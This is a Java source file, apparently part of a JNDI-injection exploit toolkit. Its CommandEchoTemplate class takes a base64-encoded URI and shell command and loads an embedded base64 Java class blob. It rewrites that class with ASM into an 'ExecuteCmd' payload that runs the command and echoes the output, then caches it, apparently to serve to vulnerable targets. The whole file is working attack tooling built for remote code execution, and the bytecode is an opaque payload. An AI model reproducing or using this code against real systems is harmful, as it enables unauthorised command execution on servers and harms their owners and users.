package com.achuna33.Templates;

import com.achuna33.SupportType.MyDIYType;
import com.achuna33.Utils.ASMChanger;
import com.achuna33.Utils.Cache;
import com.achuna33.Utils.Utils;
import org.objectweb.asm.ClassReader;

import org.objectweb.asm.ClassWriter;

import javax.xml.bind.DatatypeConverter;
import java.io.FileOutputStream;
import java.io.IOException;
import static org.objectweb.asm.Opcodes.ASM6;


public class CommandEchoTemplate implements Template{
    private String className;
    private byte[] bytes;
    private String uri;
    private String cmd;
    public CommandEchoTemplate(String uri,String cmd){
        this.uri = new String(Utils.Base64DecodeStr2bytes(uri));
        this.className = "ExecuteCmd";
        this.cmd = new String(Utils.Base64DecodeStr2bytes(cmd));
        generate();
    }
    public void cache(){
        Cache.set(className, bytes);
    }
    public String getClassName(){
        return className;
    }
    public byte[] getBytes(){
        return bytes;
    }
    public void generate() {
        String WriteFileClassBase64 = "yv66vgAAADIBFwoAVgB5BwB6CgACAHkJAFUAewoAAgB8CAB9CgACAH4KAH8AgAkAgQCCCACDCgAMAIQHAIUIAIYIAIcIAFcIAIgKAH8AiQcAigcAiwoAjACNCgATAI4KABIAjwoAEgCQCQCRAJIKAJMAlAgAlQoAEgCWCgCMAJcHAJgKAB0AmQoAkwCaCgAMAJsKAFUAnAcAnQoAIgCZBwCeCQBVAJ8KACQAoAoAJAChBwCiCgAoAKMKACgApAgApQoAKACmCACnCACoCgAoAKkHAKoHAKsKACgArAoAMQCtCgAwAK0KAAwArgoAVQCvCgAwALAKADAAsQoAMACWCgAoAI0IALIKABMAswoAKAC0BwC1CgA+AJkIALYIALcKAEMAuAcAuQoAQwC6CgC7ALwHAL0KALsAvgoARgC/CADABwDBCgBDAMIKAMMAvAoAwwDECADFCQDGAMcJAMgAxwoAxgDJCgDIAMoIAMsKAEMAzAcAzQcAzgEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAA3VyaQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAA1TdGFja01hcFRhYmxlBwD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AWADbAFsA3gBZAOAAWgDlAF0AXgAAADQAA/8AWAAEBwBfBwBKBwBlBwBwAAEHAG3/AIUABQcAXwcASgcAZQcAcAcAcQABBwBt+gAGAAEAcgBzAAIAXAAAABkAAAAEAAAAAbEAAAABAF0AAAAGAAEAAABgAHQAAAAEAAEAdQABAHIAdgACAFwAAAAZAAAAAwAAAAGxAAAAAQBdAAAABgABAAAAYgB0AAAABAABAHUAAQB3AAAAAgB4";
        ClassReader cr = null;
        cr = new ClassReader(Utils.Base64DecodeStr2bytes(WriteFileClassBase64));
        ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS);
        ASMChanger.ModifyAccessVisitor mv = new ASMChanger.ModifyAccessVisitor(ASM6,cw, MyDIYType.commandecho,"",uri,cmd);
        cr.accept(mv,ClassReader.SKIP_FRAMES);
        bytes = cw.toByteArray();

    }

    public static void fileOutputStreamMethod(String filepath, byte[] content) throws IOException {
        try  {
            FileOutputStream fileOutputStream = new FileOutputStream(filepath);
            byte[] bytes = content;
            fileOutputStream.write(bytes);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}
